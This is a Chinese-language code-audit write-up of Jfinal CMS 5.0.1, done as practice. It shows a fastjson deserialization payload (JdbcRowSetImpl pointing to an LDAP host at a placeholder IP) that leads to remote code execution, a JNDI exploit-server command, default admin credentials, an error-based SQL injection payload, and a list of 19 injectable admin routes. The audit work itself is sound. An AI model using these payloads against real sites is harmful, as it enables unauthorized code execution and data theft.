【Java代码审计】Jfinal CMS

写在前面

学习代码审计,为了练手,在CNVD上找了一个存在漏洞的Jfinal CMS的系统来审计,Jfinal CMS 5.0.1这个版本中在存在一个fastjson反序列漏洞,但是需要登录到后台,而且套代码使用的人并不是很多,所以危害并不大。Jfinal CMS 5.1.0 则存在大量的sql注入漏洞,目前这个版本也是最新版。

CMS命令注入漏洞

环境

Jfinal CMS 5.0.1

分析过程

image-20221107205904044

只是为了记录,省略部署过程。

com.jflyfox.component.controller.Ueditor

image-20221107210236755

进入到ActionEnter类中

image-20221107210256041

ActionEnter类的初始化方法中调用了ConfigManager.getInstance,进入ConfigManager

image-20221107210327165

getInstance 创建了一个ConfigManager,跟进ConfigManager中

image-20221107210349250

调用了this.initEnv方法,继续跟进

image-20221107210456739

可以看到在该方法中调用了JSONObject.parseObject,将json格式的字符串转换成对象。而该源码中使用的fastjson版本为1.2.28。

image-20221107211227311

https://mvnrepository.com/网站中可以知道是存在fastjson反序列化漏洞的

image-20221107211326866

而在JSONObject jsonConfig = JSONObject.parseObject(configContent);这条触发fastjson反序列化语句中,我们需要控制configContent的值,来触发反序列化。

image-20221107211710788

可以通过点入ConfigManager.configFileName查看读取的文件名

image-20221107211856539

这个文件就是src/main/resources/config.json文件

怎么去控制这个文件呢?

通过用户名admin 密码 admin123进入后台

image-20221107212253651

在本地准备一个内容为以下,文件名为config.json的文件

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:1389/xxx",
"autoCommit":true
}
}

在服务器起一个JNDI服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A ip

替换成上面构造的即可

image-20221107212744007

接下来,只需要找一个会访问/ueditor的路由,就会弹出计算器

image-20221107213037157
image-20221107213254152

成功执行。

Jfinal SQL注入漏洞

环境

Jfinal CMS 5.0.1

分析过程

image-20221107214211389

Shift+Ctrl+R 全局搜索/system/dict

image-20221107214402874

存在漏洞的点

image-20221107214758300

可以看到,拿到了attrValorderBy并未经过任何过滤,直接就 append追加到sql语句中去了。

在这个页面中

image-20221107215029298

抓个包

image-20221107215112755

什么都没有

image-20221107215221870

随便点一下

image-20221107215245650

测试

1
or+extractvalue(1,concat(0x7e,(database())))#
image-20221107215339533

成功爆出了数据库名。

以下路由的orderBy参数均存在sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/admin/advicefeedback
/admin/article
/admin/comment
/admin/contact
/admin/folder
/admin/foldernotice
/admin/folderrollpicture
/admin/friendlylink
/admin/imagealbum
/admin/site
/admin/videoalbum
/admin/video
/system/config
/system/department
/system/dict
/system/log
/system/menu
/system/role
/system/user